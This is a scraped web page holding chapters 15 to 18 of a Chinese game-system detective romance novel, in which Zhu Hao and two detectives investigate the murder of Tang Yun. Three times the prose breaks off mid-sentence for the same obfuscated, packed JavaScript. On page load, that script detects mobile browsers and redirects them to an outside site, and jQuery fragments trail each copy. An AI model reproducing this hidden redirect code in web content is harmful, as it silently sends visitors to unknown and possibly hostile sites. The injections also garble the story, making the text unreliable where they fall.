还没等她松一口气,就感觉似乎有什么东西裹挟着一阵凉风擦过后背,轻飘飘的拂她的后脖颈。
陡然之间,一丝凉意无端窜上后背。
祝好整个人僵住了,艰难地咽了下口水,缓缓转过身——
这一刻她才知道,原来人在极端恐惧的情况下,是无法发出声音的。
15. 第 15 章
在她身后,赫然挂着一具带血的骷髅,在手电筒幽暗的光线下,那两只黑洞洞的眼眶几乎要贴到她的脸上。
祝好头皮发麻,全身血液瞬间冲向颅顶。
尖叫声终于冲破喉咙,她顾不上没好全乎的脚踝,拔腿就跌跌撞撞往外跑。
手电筒的光束在墙壁拐角之间乱蹿,她的脑子一片空白,直到撞进一个坚实的胸膛里,肩膀被人扶住,才停下脚步,惊魂未定地大口喘着气。
“祝小姐,发生什么了?”
听出是秦聿风的声音,祝好的眼泪霎时不受控制地哗啦啦往下掉,磕磕巴巴道:“里面有、有有有鬼……不、不对,是死人……”
“死人?”程述也举着手电筒走了过来,见状拧紧双眉往里走。
秦聿风扶着祝好站稳后,也跟了上去。
过了一会儿,里面传来秦聿风的声音:“祝小姐,没事,只是个道具骷髅。”
顿了顿,程述又补充了一句:“一眼假的那种。”
祝好还没从突如其来的惊吓中缓过神来,靠在墙上哼哧带喘,眼泪鼻涕糊了一脸,听到他们的话,整个人愣住了。
道具骷髅?一眼假?
自己居然被一眼假的道具骷髅吓成这样?
她小心翼翼地扶着墙壁走回原处,惊魂未定地望着那具正在半空中晃荡的骷髅,还是有些不可置信:“真的是道具?”
程述回头看了她一眼,扬起的嘴角带着些许讥诮:“是假得要死的道具,小孩儿看了都不一定会被吓到。”
祝好想反驳,却又无话可说,因为神智堪堪回笼后,她也发觉那副骷髅架子确实是假得不能再假了。
墙上那幅花花绿绿的墙绘中间藏着个按钮,应该是她刚才不小心碰到触发了机关,道具骷髅才会掉下来。
太丢人了,简直太丢人了。
她现在只想一头撞在墙上晕过去,逃避这一切。
程述问:“你一个人一声不吭跑来这儿干什么?”
祝好这才后知后觉反应过来,那个闪烁的放大镜图标已经不见了。
破游戏,果然是个bug!
害她被吓得像个傻子就算了,说好的线索又在哪儿?
秦聿风用手电筒逐一扫过周围,似乎意识到了什么,光束定格在骷髅的脸上:“等等,老程,我怎么看着骷髅上面的血好像是真的呢?”
接着又往天花板上的洞照了一下:“不对,上面有东西,你踩着我的肩膀上去看看。”
说完收起手电筒,半蹲下身子扶着墙。
程述戴上手套,踩在他肩膀上,双手撑在洞口边缘,半个身子探进洞里,用手电筒在里面晃了一圈。
过了一会儿,竟然扯出了一只带血的女士挎包。
祝好心头一跳,原来真的有线索!
从挎包上残留的血液来看,应该是凶手杀了人之后藏在这儿的。
而骷髅脸上的血,也正是那时候不小心蹭到的。
这么说来,凶手应该对这个鬼屋很熟悉。
毕竟这个按钮设计得十分隐蔽,就连现场勘查的警员也没发现。
要不是系统发出提示,祝好又误打误撞触发了机关,或许这个包也不会轻易被找到。
秦聿风起身拍了拍肩膀上的灰尘,戴上手套,拉开了挎包的拉链。
包里装着些补妆用的化妆品、一包香烟和一个钱包。
钱包的夹层里有张身份证,从照片上看正是受害者。
她名叫唐芸,27岁。
钱包上沾有一些血迹,看起来曾经被凶手翻过,可里面的财物和证件都还在,一时也没法查出丢失了什么。
那个丢失的东西,会是她被杀害的原因吗?
这一切跟指甲油杀手又有什么关系?
秦聿风把东西放回包里,啧啧称奇:“祝小姐,你也太神了,藏得那么深的证据都能找到。”
祝好有些心虚,干巴巴地笑了一下:“可能是……第六感吧。”
程述“呵”了一声,一如既往地给她泼冷水:“你要真有什么第六感,就不至于被一个道具骷髅吓得嗷嗷叫了。”
秦聿风替她解围:“话也不能这么说,在黑漆漆的地方突然出现一副骷髅架子,谁都会被吓一跳。”
程述嗤笑一声:“我反正不会。”
祝好已经习惯了从他嘴里听不到好话,也懒得跟他争辩,象征性地翻了个白眼。
虽然被吓得有点儿失态,但好歹真的找到了证据,也算值了。
“这儿太黑了,先出去吧。”秦聿风提着挎包对程述扬了扬下巴。
程述应了一声,举着手电筒走在最前面,秦聿风十分绅士地让祝好走在中间,自己则跟在他们身后。
被两个人一前一后跟两堵墙似的护着,祝好安心不少。
正走着,突然听到“咔嚓”一声轻响,她下意识顺着声音看去,只见墙角突然冒出一只毛茸茸的假手,一把抓住了程述的脚踝。
程述整个人身形一颤,后退两步,足足愣了几秒钟才反应过来,若无其事地把那只假手踢开,嘴里还念叨着:“小儿科。”
在手电筒光束的映照下,祝好分明看到了他胳膊上竖起了一层鸡皮疙瘩。
打脸来得真快。
*
走出鬼屋时,已经是傍晚了。
温珣正靠在副驾驶上摁着手机,看到他们出来,有些不耐烦地对秦聿风道:“你们干什么呢,那么慢,我一天没吃东西都要饿死了。”
那副娇贵的公子模样,让人很难想象他早些时候居然还主动帮祝好按了腿。
秦聿风把挎包装进物证袋里,交给警员,从口袋里掏出烟盒,抽出一支背对祝好点燃,又转头问程述:“我们得去唐芸家一趟,你呢?”
程述撇了撇嘴:“我说过我不加班。”
说完用大拇指对着祝好指了指:“我还有事,让她跟你们一起吧。”
秦聿风点头答应。
祝好虽然莫名其妙地出现,但同时又“莫名其妙”帮警方找到了许多线索,他倒也不介意带着她。
他吐出一口烟雾,问程述:“你要去哪儿?”
程述有些不耐烦:“爱去哪儿不行,我一外聘人员,就不需要秦队管我的私生活了吧?”
秦聿风笑了笑,没再多问。
他把烟屁股扔在地上用鞋尖踩灭,拾起来扔进垃圾桶里,对祝好道:“祝小姐,上车吧,待会儿忙完了我再送你回去。”
祝好没忘记要请温珣吃饭的承诺,既然秦聿风也在,索性就一起了。
毕竟欠了那么多人情,能还一点是一点。
温珣真就只选了一家面馆,说是还要工作
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000020|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,随便吃两口应付就行。
祝好知道他是不想让自己破费,有些愧疚,毕竟钱是用积分换的,积分又是靠好感度积攒起来的。
说到底,羊毛还是出在羊身上。
*
根据唐芸的资料显示,她在一家小型的证券公司工作。
随意解决完晚饭,秦聿风把车开到了她记录在系统中的地址。
这是一所中高档的公寓,秦聿风敲了敲门,无人应答,便给物业打去了电话。
保安很快送来唐芸留在物业的备用钥匙,同时还告知他们已经两天没见唐芸出入过公寓了。
温珣戴上手套,用钥匙打开门,摁下墙上的开关。
屋子亮堂起来,一只白色的狮子猫喵喵叫着朝门口跑来,竖着尾巴在祝好的脚边来回蹭。
祝好一眼就看到门边的猫碗已经空了,赶紧蹲下身子把猫粮添满。
狮子猫应该是饿坏了,不再理会地盘上突然出现的陌生人,只顾埋头干饭。
祝好抚摸着它的脑袋,心里有些难过。
这小家伙可能永远也理解不了为什么朝夕相处的主人只是像往常一样出了趟门,就再也没有回来。
玄关上放着一张旅行社的收据,收据上的出发时间是今天,目的地是某个著名海滨城市。
秦聿风说:“看来她早已计划好了要去旅游,应该提前跟公司请了假,难怪没人发现她失踪。”
祝好注意到玄关的墙上挂着一张照片,照片上是唐芸和一个男人的合影,两人看起来举止亲密,应该是情侣关系。
照片下面还有一行小字:一周年纪念日。
日期是一个月前。
在一起一周年,按理来说应该还是热恋期。
她捻着下巴思考片刻,转头问秦聿风:“秦警官,如果你女朋友两天没跟你联系,你会着急吗?”
“应该会吧。”秦聿风有些犹豫。
祝好无奈:“为什么是‘应该’?”
秦聿风尴尬地笑了一下:“因为我也没谈过恋爱,而且我工作忙,两天没联系也是正常的吧。”
说完又把问题扔给温珣:“换作是你你会着急吗?温主任。”
温珣答得倒是很笃定:“当然会。”
秦聿风撇了撇嘴:“说得好像你谈过恋爱似的,还不是跟我一样万年老光棍。”
公寓是一房一厅的格局,布置简单却很温馨,收拾得也井井有条,不难看出唐芸是个热爱生活的女孩。
玄关处的鞋柜里除了一双男式拖鞋外,其余的都是女鞋。
秦聿风和温珣在客厅里转了一圈,没发现什么异常,又转身进了卧室。
卧室中间放着一张双人床,床头左边是一张梳妆台,右边是一整面墙的衣柜。
床尾有一只虚掩的行李箱,里面装满了衣物和护肤品,看来是唐芸为了旅行而准备的。
温珣从枕头上找到一些掉落的头发,用镊子夹起来放进物证袋里。
虽然身份证上的照片基本能确定死者就是唐芸,但还是要去采集一些生物信息进行DNA比对。
祝好跟着在房间里转悠,突然发现床头柜上放着几张医美的宣传单,里面还夹着一些在整形医院面诊时医生给出的建议。
她有些奇怪,唐芸明明长得挺好看的,为什么会想着去整容呢?
16. 第 16 章
秦聿风从梳妆台上拿起一瓶面霜,打开盖子闻了闻,转头问祝好:“祝小姐,这些护肤品你认得吗?”
祝好接过面霜看了一眼,是一个价格不便宜的牌子,从余量来看应该才刚开封不久。
除了面霜,梳妆台上还有同牌子同系列的乳液、精华、爽肤水,同样也只用了几次。
唐芸是证券公司的员工,工资虽然不算低,但一下子花了近万元买一整套护肤品,对她来说也算是挺奢侈的。
检查完梳妆台,秦聿风又打开了卧室衣柜的门,逐一翻看里面的衣物。
祝好也凑过去,发现衣柜里只有唐芸的衣服,并没有男装。
她回头看了眼双人床上的两个枕头,又转身进了卫生间。
卫生间的洗漱池上放着一把刮胡刀,洗漱用品倒是两人份的,从牙刷的磨损程度上看,使用频率都不低。
这么看来,唐芸的男朋友应该是长期在这儿生活的,可衣柜里却没有男装,鞋柜里也没有男鞋,怎么想都不符合常理。
一个隐隐约约的揣测浮上心头,祝好思忖片刻,突然问道:“秦警官,唐芸会不会正在跟男朋友闹分手呢?”
之所以说是“闹”,是因为屋里还挂着她和男朋友的合影,就算他把所有的衣服鞋子都打包带走了,她也没舍得扔掉他的生活用品。
而她新染的头发、斥巨资买的护肤品以及去整形医院进行的面诊,或许是希望在外貌上的改变能让他回心转意。
祝好有些感慨,她为了挽回这段感情做了那么多,男友却毫不关心她的行踪,甚至连她失踪了两天了也没有任何反应。
秦聿风听完她的分析,点头同意:“我回去就让人查她男友的资料,等找到人就带回局里问话。”
狮子猫吃饱喝足,钻进房间里,屁颠屁颠跟在祝好身后。
祝好弯腰将它抱起来它也不反抗,在她怀里发出开心的咕噜声。
她挠了挠它的下巴,抬头问秦聿风:“秦警官,这猫要怎么办?”
秦聿风把搜集到的物证全部装好,看了看狮子猫:“我们会通知她的家人,到时候就看他们怎么处理了。”
“可是也不能把它自己扔在这儿吧。”祝好想了想,又问:“你养过猫吗?”
秦聿风摇头:“我只养过乌龟。”
“乌龟现在还好吗?”
他尴尬地咳了一声:“已经厚葬了。”
祝好:……
她把目光转向温珣,抱着猫走到他身边,还没开口问,温珣就已经扭头打了两个喷嚏。
他摘下手套,揉了揉眼睛:“抱歉啊,我对猫毛有点儿过敏。”
祝好低头看着正把她一缕头发当成玩具的长毛猫,为难道:“拿你怎么办好呢?”
*
程述把门打开的瞬间,狮子猫倏地从祝好怀里窜出来,自来熟地在门口的地垫上磨起了爪子。
他明显被吓了一跳,低头看着脚下这团毛茸茸的生物:“这什么玩意儿?”
祝好走进屋里,拍了拍身上的猫毛,言简意赅地回答:“猫。”
他一手掐着腰,一手扶在额头上,无语望天:“我当然知道是猫,我的意思是,这猫哪儿来的?”
“唐芸养的。”祝好补充道:“就是那个受害者。”
“那你把它带回来干什么?”
虽然寄人篱下没什么话语权,但为了能让狮子猫多住几天,祝好还是决定把死皮赖脸贯彻到底:“总不能让它自己在家饿死吧?就养两天,等她家人来了就领回去。”
程述叹了口气:“烦死了,我收留你一个就已经够头疼了,你还给我弄来一只猫。”
虽然程述对狮子猫很嫌弃,猫却不知为什么似乎很喜欢他,一直在他脚边转悠,在他裤腿上留下了一层毛。
程述回到沙发上坐下,猫也跟着跳上沙发,在他腿上打起了盹儿。
他垂眼看着猫,小声嘀咕:“怎么跟某人一样不要脸。”
相处了几天,祝好已经摸清了程述属于嘴硬心软那一挂,晃晃脑袋装作没听见。
唐芸家里的所有东西都要作为证物暂时封存起来,祝好只能在附近的宠物店买了小袋的猫砂和猫粮凑合用。
她把猫粮倒进一次性塑料碗里,眼神落在程述放在门边的工装靴上,漫不经心地问:“你刚刚去了墓园吗?”
程述下半身被趴在腿上的狮子猫牢牢钉在沙发上,正伸长胳膊努力够茶几上的啤酒。
听她突然这么问,一再按捺,还是没藏住眼底一闪而过的惊讶:“你怎么知——”
说到一半,话锋一转,下半句变成了“那么多管闲事”。
祝好按原来的问题回答了他:“你的鞋尖上有香灰,鞋底还有一片没烧完的纸钱。还有,刚才我在楼下看到你的车,挡风玻璃上有掉落的松针。”
松树身形庄重,象征长寿和不朽,许多墓园周围都会种植。
程述动作顿了一下,没有说话。
他好不容易够到了啤酒,猫却忽然从他腿上下来,伸了个懒腰,跃到沙发的另一头呼呼大睡去了。
祝好给狮子猫准备好猫粮和水,坐到沙发上轻轻挠着它的脑袋。
狮子猫眯着眼,尾巴尖儿一甩一甩的。
祝好问:“对了,你能不能告诉我一些关于指甲油杀手的事儿?”
想了想,又补充道:“既然我们都要合作了,那应该要坦诚相待,不是吗?”
程述仰头喝了一口啤酒,眼珠子向下睨着她:“那你先说说看,你被人袭击那天晚上,到底发生了什么。”
祝好没有扭捏,马上就答应下来。
她盘腿坐在沙发上,打开控制面板,用积分兑换了刚进入游戏时的剧情回顾。
随着提示音响起,眼前倏然陷入一片黑暗,所有的七窍感官陡然之间回到了那个夜晚。
“那天晚上,我醒过来时就已经躺在房间里了。隔着一层塑料薄膜,还是能感觉到地板又硬又粗糙……头痛得像要炸开,身上却没有一丝力气,我完全动弹不了。”
她深吸一口气,继续道:“门开了,有个人走了进来……穿着一件宽松的黑色雨衣,提着一盏昏黄的灯……他把雨衣的帽子扣在头上,遮住了大半张脸。”
程述问:“你还记得他的长相吗?”
这个问题秦聿风也问过。
祝好皱着眉,努力把视线聚焦在那个人的脸上。
片刻后,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15000021|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是皱着眉摇了摇头:“光线太暗了,他还戴着口罩和护目镜,我看不清他的脸。”
“然后呢?”
“然后……他把灯放在桌上,在我身旁蹲下,从雨衣的口袋里拿出了一瓶指甲油。他的动作很轻柔,很小心……就像害怕弄伤我一样。”
指尖传来的轻微触感太过真实,让祝好冷不丁打了个寒噤。
“给我涂完指甲油,他站起来……从桌上拿了一把水果刀在我胸前比划着,像是……”
她的声音里带着自己都没察觉到的颤抖,双手紧紧攥在一起:“像是在确定能一刀把我杀死的位置。”
程述突然出声打断她:“可以了,今天先这样吧。”
祝好猛地睁眼,眼前残存的影像渐渐散去,视线却仿佛隔着层毛玻璃一样模糊,心头止不住突突跳个不停。
程述的目光在她苍白的脸上略一盘桓,欠身从桌面的纸巾盒里抽出几张递给她。
狮子猫也像是感应到什么,起身蹭了蹭她的胳膊。
神智堪堪回笼,祝好才发现自己全身几乎要被汗水浸湿,眼角还噙着泪。
她用纸巾擦拭额头的汗,做了几下深呼吸,终于平复下来,转头对程述说:“作为交换,你也得把你知道的关于指甲油杀手的事告诉我。”
程述一言不发地喝完啤酒,把罐子搁在茶几上,站起身居高临下看着她:“走,跟我进房间。”
“啊?”祝好愣住了,满脸戒备地看着他。
“别想多了,不是让你进我卧室。”
他径直走向卧室隔壁的另一个房间,把门打开了:“你不是想知道关于指甲油杀手的事吗?这里有我这几年对他的研究,你自己进来看看吧。”
她这才反应过来,连忙起身跟上前。
房间面积不大,除了中间放着一张桌子,桌上堆满层层叠叠的文件和书籍,墙上都贴着各种各样的资料,有地图、画像和新闻报道,密密麻麻地用红笔写满了分析。
其中一面墙上贴着所有受害者的信息,祝好抬头,目光逐一掠过,定格在其中一张照片上。
照片上写的名字是许安然,旁边标注的死亡日期,赫然就是六年前的今天。
许安然,许安宁。
这么说来,这应该就是许安宁的姐姐。
她转头问程述:“你刚才去墓园是去祭拜她吗?”
程述淡淡地“嗯”了一声,眼帘低垂:“不只是她,每个受害者的忌日我都会去。”
想到今天在车上他没打开的那些信息,祝好忍不住问:“跟许安宁一起去的?”
话一出口,她突然有些后悔,总感觉自己像在打听什么八卦。
程述没有否认:“她姐姐的案子,是我刚到警局时接手的第一起关于指甲油杀手的案子。我当时答应过她,一定会帮她找到杀害她姐姐的凶手。”
他微微叹了口气,接着道:
“那天她跟姐姐吵架,闹脾气从家里跑出去,在朋友家待了一夜。第二天醒来时,铺天盖地都是出现最新受害者的新闻,她才发现那个受害者竟然就是她姐姐。”
“原来那天晚上她姐姐担心她的安全,独自一人出门找她,却被指甲油杀手盯上了……”
17. 第 17 章
不知怎么的,祝好想起了最后一个受害者,也就是他的妹妹程霜。
程述说:“许安宁跟我说,如果那天她没有离家出走,没有不接姐姐的电话,没有跟她吵架,或许一切都不会发生。”
他几不可闻地吁了一口气,陷入长久的沉默,雾霭沉沉的双眼扫过那一张张照片。
祝好知道他同时也在责怪自己——
如果他没有当警察,没有接受采访,没有自以为是地觉得自己能摸透一个连环杀手的内心,程霜或许也就不会遭受这无妄之灾。
可事情的结果并不会因为这些假设而发生任何改变,毕竟就算是在游戏里,一切也都无法读档重来。
那些“如果”除了徒增遗憾,没有任何作用。
祝好想说些安慰的话,斟酌再三又觉得太过矫情,索性转移了话题:“所以许安宁才经常来你家找你吗?”
同样是因为自己的过错间接导致最亲近的人被杀害,她应该觉得程述是最能理解她痛苦的人。
程述点头:“是,她隔三岔五就会来,当然也会去警局找老秦。起初我还很有信心,觉得就算不当警察,我也一样有办法找到他。可是时间久了,连我自己都迷茫了。”
“像指甲油杀手这样的人,会把外界对自己的关注和认可作为犯罪的基本元素。那么长时间没有再次犯案,或许是去了外地,或许是因为别的事进了监狱,又或许,他早就已经死了。我不知道自己还没有没可能亲手抓到他,替小霜报仇,兑现对所有受害者家属的承诺。”
他眉宇间像是压了千钧的阴霾,睫毛微微颤了一下,接着飞快地垂下眼帘,将那些复杂晦涩的情绪锁进眼底。
祝好张了张嘴想说些什么,还没想好措辞,程述就已经把方才流露的情绪收拾得一干二净,又恢复了一贯漠然的表情。
他从桌上拿起一本厚厚的笔记本递给她:“这个房间除了我和老秦,还没其他人进来过,笔记本里有一些关于指甲油杀手的侧写,你要想看就拿去看吧。”
*
祝好迫不及待抱着笔记本回了阁楼,躺在沙发上,翻开了笔记本。
里面的内容都是手写的,最开始的几页是所有受害者的详细信息。
“一号受害者,姓名:蒋婷婷。年龄:18岁。死亡时间:2011年1月14日。死因:失血性休克。”
“死者胸口有多处贯穿伤,但并未严重伤及心脏,颈部有索沟,手臂有反抗伤。指甲上有红色指甲油,据家属回忆,她生前并无涂指甲油的习惯。此外,尸体被发现时呈侧躺姿势,双手交叠,被摆成祈求状。”
也就是说,在杀害第一名受害者时,指甲油杀手的手法并不成熟,甚至无法一次找到心脏的位置,最后被害人是因为失血过多而导致的死亡。
到了第四、第五名受害者时,可以看出他的杀人手法一直在进步和完善,基本能在折磨完受害者之后准确无误将刀刺进她们的心脏,一刀毙命。
在作案过程中,他也逐渐形成了一套风格明显的个人标志,即给受害者涂上红色指甲油并且在尸体旁放上上一位受害者的照片。
木制的十字架以及特殊的布林结也是在那时候形成的。
再往后翻了几页,祝好看到了一个熟悉的名字。
“九号受害者,姓名:程霜。年龄:20岁。死亡时间:2019年7月3日。死因:心脏破裂导致急性失血。”
“尸检结果表明,此次案件中,受害者四肢、躯干均有多处生前伤。与其他受害者相比,指甲油杀手对待九号受害者更为残忍,带有明显的报复心理,表现出强烈的自我意识和极高的暴力水平。”
——用词冷静又专业,可相比前面的内容,这一页的字迹明显要潦草许多。
有些字的起笔或结尾处,墨水甚至在纸上晕开了一小片。
祝好无法想象他是以什么样的心情写下这些内容,她心里像压着一块沉甸甸的巨石,堵得难受,赶紧放下笔记本,起身推开天窗深吸了一口气。
楼下隐隐约约传来电视的声音,听起来是那种打打杀杀的警匪片。
她蹑手蹑脚走到阁楼门口,从栏杆的缝隙往楼下望去。
程述躺在沙发上,像是睡着了,茶几和地上横七竖八放着几个啤酒罐子。
他两条腿交叠搭在扶手上,胳膊垂落在沙发边。
狮子猫像一坨毛球似的,正趴在他胸口上打呼。
祝好不喜欢喝酒,也不理解酒到底有什么好喝的,能让他每天不离手。
现在想来,酒精或许是为数不多能让他短暂逃离现实的途径。
她没有经历过他的痛苦,无法做到感同身受,更没有立场去指责或者劝慰。
回到阁楼,她又打开了那本笔记本仔细翻阅起来。
后面的内容是对指甲油杀手的一些犯罪侧写。
“他非常渴望得到认可,觉得自己怀才不遇,以至于将犯罪作为一种获取自以为应得的注意力的机会。杀人是他寻求接纳的一种方式,也是他表达自我的一种工具。”
“他不会对别人的痛苦产生同情,对于他所造成的伤害不会感到懊悔,做事缜密但十分容易冲动。”
……
看了一阵子,眼皮越来越重。
她把笔记本合上放在枕头边,闭上眼睛沉沉睡去。
再睁开眼时,天似乎已经亮了。透过天窗向外看去,天地间却是一片灰暗。
她从沙发上坐起来,活动了一下僵硬的四肢,突然察觉到一丝不对劲——
屋里太安静了,静得甚至有些诡异。
不只是屋里,就连窗外平日里时不时响起的汽车引擎声、小贩的吆喝声和孩童的嬉闹声,仿佛都消失了。
她小心翼翼踩着木阶梯下了楼,客厅里空无一人,狮子猫也不知所踪。
那个堆满资料的房间忽然传来一阵嘀嘀答答的滴水声,她缓步上前敲了敲门:“程述,你在里面吗?”
无人应答。
犹豫片刻,她拧动门把手,推开了门,却被眼前的场景惊得全身血液几乎要凝固。
映入眼帘的是一个穿着黑色雨衣的背影,雨水汇聚成涓涓细流,顺着下摆一滴滴砸到地面上。
祝好脑袋里警铃大作,当即下意识想要往外退,却发现双腿像是被钉在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15000022|161731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了地面上,完全动弹不得。
黑色雨衣缓缓转过身,脸上仍戴着口罩和护目镜,整张脸被遮得严严实实,祝好却仿佛能感觉到那道冰冷的目光穿过镜片,直勾勾盯着自己——
“喵~”
耳边忽然传来一声悠长的猫叫,她猛地从沙发上坐起来,大口喘着粗气,嗓子火熏火燎地疼。
狮子猫正站在沙发靠背上,歪头看着她。
凝神片刻,她才反应过来刚才的一切只是个梦。
她长舒一口气,伸手挠了挠狮子猫的下巴:“你是知道我做噩梦才把我叫醒的吗?”
狮子猫“嗷呜”了一声。
祝好把它抱在怀里,揉搓它毛绒绒的脑袋。
楼下传来开门的声音,狮子猫没有丝毫留恋,从她怀中一跃而起,飞快地沿着木楼梯往下跑。
不用想,这一定是迎接程述去了。
“小白眼狼。”祝好嘀咕了一句,靠在沙发靠背上揉了揉发胀的太阳穴。
她想换件衣服,却发现昨天的衣服洗了之后只剩下程述买的那件印着牡丹花的妈妈装。
想了想,便打开控制面板,点开了商城里服饰的选项。
翻了一会儿,她忍不住吐槽,这个游戏的美工不知道怎么想的,NPC设计得一个比一个好看,商城里的衣服却一件比一件丑,而且大多是blingbling的大裙摆礼服。
就算是个乙游,也不会有人穿着礼服上街吧!
系统突然出现:“宿主,你的吐槽我能听到。”
祝好满不在乎:“能听到最好了,剧情没法改变我也认了,好歹给我设计些正常点儿的衣服吧。”
系统似乎有些心虚,沉默许久,才说:“好的,那我反馈一下。”
祝好没再理会它,划拉半天,才在页面最末尾找到了一件没有图案的T恤和一条背带短裤。
好在系统这回还算良心,兑换这一套衣服只花了5积分,换算下来也就是50块钱。
祝好换好衣服从阁楼上下来时,看到程述手里提着一袋猫罐头和一个陶瓷碗,狮子猫寸步不离地跟在他脚边,差点把他绊了个趔趄。
她指了指他手里的罐头,有些惊讶:“你买的?”
程述没好气道:“不是,是从天上掉下来正好被我捡到的。”
说完把袋子放在餐桌上,拿出一个猫罐头,刚要拉开拉环,手机就响了起来。
他看了眼屏幕,把罐头放在桌上,接起电话:“喂,老秦。”
狮子猫等得有些不耐烦,跳到桌上不停喵喵叫,一个劲儿蹭他。
祝好在厨房里给自己倒了杯水,听到是秦聿风的电话,知道一定是有了什么新线索,悄悄竖起耳朵。
程述“嗯嗯”应了几句,挂断电话,拉开拉环把罐头倒进碗里,狮子猫立马凑上去哼哧哼哧吃个不停。
他抬起头,对祝好道:“老秦说唐芸的案子有新的线索,我要去警局一趟。”
祝好愣了一下,差点怀疑自己的耳朵出了问题:“你这是在跟我报备行程吗?”
程述无奈地斜了她一眼:“我是想问你,你要不要去?”
18. 第 18 章
程述大概是昨晚喝多了酒,满面倦容,眼睛里布满红血丝。每到等红灯的间隙,他就抬手揉捏自己的太阳穴。
警局前院的车位满了,门卫大叔似乎认得程述,对着他招了招手,指挥他把车停到后院去。
趁着这个当儿,祝好提前下了车,钻进了附近一家咖啡店,点了两杯拿铁,一杯给秦聿风,一杯给温珣。
跟他们的好感度已经好几天都停滞不前了,眼看积分就要消耗得差不多了,就算对恋爱再没兴趣,她也必须得做点儿什么来提升好感度。
毕竟没有好感度就无法兑换积分,没有积分,连最基本的剧情回顾都用不了。
虽然系统说过商城里的礼物也可以增加好感度,她实在舍不得用掉那本就少得可怜的积分,只能另想办法。
思来想去,送杯咖啡最划算。不仅能提神醒脑,还能体现出她的关怀,也不至于太暧昧。
最重要的是,便宜。
正盘算着,店员就递过来一个纸袋:“小姐,您的两杯拿铁。”
祝好接过纸袋正要付钱,想了想,抬头对店员道:“麻烦再给我做一杯蜂蜜牛奶吧。”
店员应了声好,很快把蜂蜜牛奶做好了。
祝好提着纸袋从咖啡店里出来,把杯子递给程述:“喏,解酒的。”
程述愣了一下,才把手从裤兜里拿出来接过杯子,不自然地咳了一声,似乎想说些什么,却始终没有说出口。
祝好没在意。
“谢谢”这两个字对他那张嘴来说,珍贵程度跟象牙没什么区别。
进了警局,他们径直去了秦聿风的办公室。
秦聿风正坐在椅子上对着白板发呆,听到祝好的声音,连忙把手里的烟摁灭,又起身打开窗子散味。
“秦警官,我给你和温主任买了咖啡。”祝好把装咖啡的纸袋放在桌上,拿出其中一杯递给他,又问:“温主任呢?”
秦聿风道了声谢,说:“温主任被其他分局借走了,估计得过几天才回来,他的那份你喝了吧。”
祝好“哦”了一声,满脸期待地看着他打开盖子喝了一口咖啡,等了半晌,系统却仿佛当机一般,没有响起任何提示音。
她有些失望。
果然如系统所说,随着剧情的发展,游戏难度也在不停提升。
一开始只需要夸奖两句就能增加好感度,现在连送咖啡都不管用了。
秦聿风没注意到她心里那点小九九,他喝了几口,看向程述的杯子:“诶,你这杯怎么不一样?”
程述推开他:“用你管,又没花你的钱。”
白板上多了张照片,上面的男人看着眼熟,祝好凑上前仔细看了一下,问道:“这是唐芸的男友吗?”
秦聿风点点头:“DNA比对结果已经出来,死者确实是唐芸,她的男友……应该说是前男友,何志飞,是个健身教练。你推测得没错,他跟唐芸已经分开半个多月了。”
他把咖啡杯放在桌上,指了指地图上的一个红点:“我们找到了唐芸那天晚上去的日料店,经过店员证实,她是和何志飞一起去的。”
按照何志飞的说法,那天晚上唐芸约他去日料店也是想挽留他,不过被他拒绝了。
离开日料店之后他就跟新女友去了一家酒店,监控显示他一直到第二天中午才离开,所以有充分的不在场证明。
祝好愕然:“新女友?”
秦聿风指着白板上的另一张照片:“嗯,就是这个女孩,她是何志飞在健身房的学员。虽然他没有明说,我也不好多问,不过能看出应该是他出轨了。”
啧,又一个始乱终弃的渣男。
照片里的女孩有着欧式大双眼皮和一张锥子脸,祝好突然明白了为什么唐芸为什么突然起了整容的心思。
她叹了口气,替唐芸感到不值,又有些哀其不幸怒其不争。
为了挽回一个渣男做了那么多完全没必要的改变,简直太愚蠢了。
秦聿风也认同她的想法:“听唐芸的朋友说,这个何志飞一开始也就是带着目的去接近唐芸的,玩腻了就提了分手,大概也不是真心实意喜欢她吧。”
带着目的……
这话怎么听起来那么不得劲儿呢。
祝好侧目看了一眼他手里的咖啡,心虚地抿了抿嘴,觉得自己跟何志飞好像也没什么区别。
程述没在意这些跟案子没什么关系的事儿,他问:“唐芸从日料店出来之后去了哪儿?”
秦聿风说:“日料店门口的监控显示她7点半离开,然后上了一辆出租车。我们刚联系了出租车公司,待会儿应该就有答复了。”
说完看着程述乱糟糟的头发,颇为嫌弃:“不是让你去剪个头发吗?不懂的人还以为你是来警局自首的。”
程述耸了耸肩,有持无恐:“没空,你要看不顺眼就把我开了吧。”
